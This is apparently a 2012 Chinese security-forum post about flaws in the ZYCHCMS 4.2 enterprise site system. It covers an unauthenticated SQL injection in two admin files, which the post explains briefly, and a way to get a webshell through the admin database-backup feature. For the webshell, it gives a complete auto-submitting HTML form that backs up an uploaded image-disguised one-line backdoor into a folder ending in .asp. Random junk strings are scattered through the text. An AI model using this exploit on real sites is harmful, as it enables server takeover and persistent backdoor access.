找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2028|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
) F% k; x# D$ Z, Y+ {* O# P5 Y
- l% C+ a7 J. T5 e& J1 X2 m% K

; T3 C4 Q/ Q" ?6 {( P0 \+ L8 G) P4 }
; Z; I! `# Q; `6 n7 N: e影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
4 h, x2 {1 Z9 t ①SQL注射漏洞
6 o  m9 Z" ^/ s- ?$ x; n 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp0 X  }9 {/ B, s; V+ o9 A" ^
漏洞原因:未过滤) L  b( A" H2 a, r( K
漏洞代码:6 x" ~) S* d% i3 Z3 G& Q- y# V
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。9 n4 O6 `( v& t% z
修复方法:在文件开头加入代码7 E9 n( K$ g& @1 q* a( E' E

4 W$ v& S5 L7 t  c
3 G4 H( A' g9 x( K②后台拿WBSHELL1 ^, ~8 m0 E! X% r. d
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。+ H( r# T9 S) n* S" t, f8 N; w: l0 @' \
这里在网上找了一个,改了下,将就着用。: f" h. |! ]7 a+ E/ b+ I. O
以下是代码本地提交代码4 k7 {6 l1 M2 c; k' X/ B

! ?$ A( `5 y* w: g# Y% \2 D, g5 O9 f% j! a: l6 f  e
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
, j3 T. L) g, R7 o- V" a <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>9 i" `  r/ J6 ?; A
<tr>
) G/ Q- C5 f! S  a4 L0 @ <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
# b+ e: k* V- ^) X( p! X </tr>
! N& d6 Z3 M# @+ W$ T! R9 c* l$ O <tr>
( X# T+ g" a9 l/ d9 Y6 J <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
6 S- l' }5 ^8 @8 U </span>& O. ~6 L; o$ r, m0 t2 g( P5 D
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >( s; M7 Q: i) N' J! b/ q7 }: |: R
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
3 K) G3 n" ~! I: l% J <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>5 g& ^* M& W/ o& R$ ~( u
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d, M' V) X, j. R5 a! Y  G# Y
<div align=”left”># G: I- z3 e9 l$ w- H$ b
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />) F0 N) H' Y) X% h; P
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
4 T+ e0 g* {/ \+ V/ s7 n0 w <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />  u8 ?1 V) Z. ~5 Y; V
</div></td>6 m1 D# v$ F2 S: Y
</tr>
7 M* Y$ k, ?8 E$ h% j2 j <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
* n9 P+ b. ?5 g <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>& R5 W2 @  {: g( V; o
<td class=”td”><div align=”left”>( o% Z. P# A' ~% t0 [6 ]& Q
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />! G/ }5 w. A5 C
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>2 C6 U' j- b0 R) s+ l- ?  Y0 x
</tr>6 E7 z, `. a2 N; L7 j, ?4 w
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
  u3 I+ v& @9 C1 G8 D+ j# G* ^ <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>3 k  a0 p. C! O2 q' |
<td class=”td”><div align=”left”>; w+ b, ~- Z7 k+ t
<input type=”submit” value=”确定备份” class=”btn”
3 D; Y  Q1 I3 E" m" o, ] </div></td>
* U: j( H0 v6 E  ~4 a" H </tr>
- y- x; q5 c5 v5 N </table></td></tr></form>
" v- \2 M7 B+ P  w$ Q5 i  b </table>
; {! G* F: J# h" g5 Y1 T: C. P </td>
+ G6 }. b+ c& b1 U/ n& }! c </tr>- h8 m6 n# z( h4 J3 D6 C+ Q
</table>
' m& Z3 y. y1 b$ E <script>- m, R0 y/ I4 p4 B/ R0 k
document.all.add.submit();
( _! N% H5 G# r1 R </script>2 @3 K8 s) l0 m: b

7 B# {7 m( i2 A" A
9 R- K) V) U) b
/ X9 {$ b% ]5 ?, e2 U
: F. N9 V2 t" ^3 E1 `
6 u/ M3 D  ^  C# r8 y" G: H3 ^
) Z# z. F7 {3 u7 M9 p
1 j% n) S8 k7 k" s6 n
+ o) P9 E. i. W! G/ n

- V3 b8 `( A' M/ f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表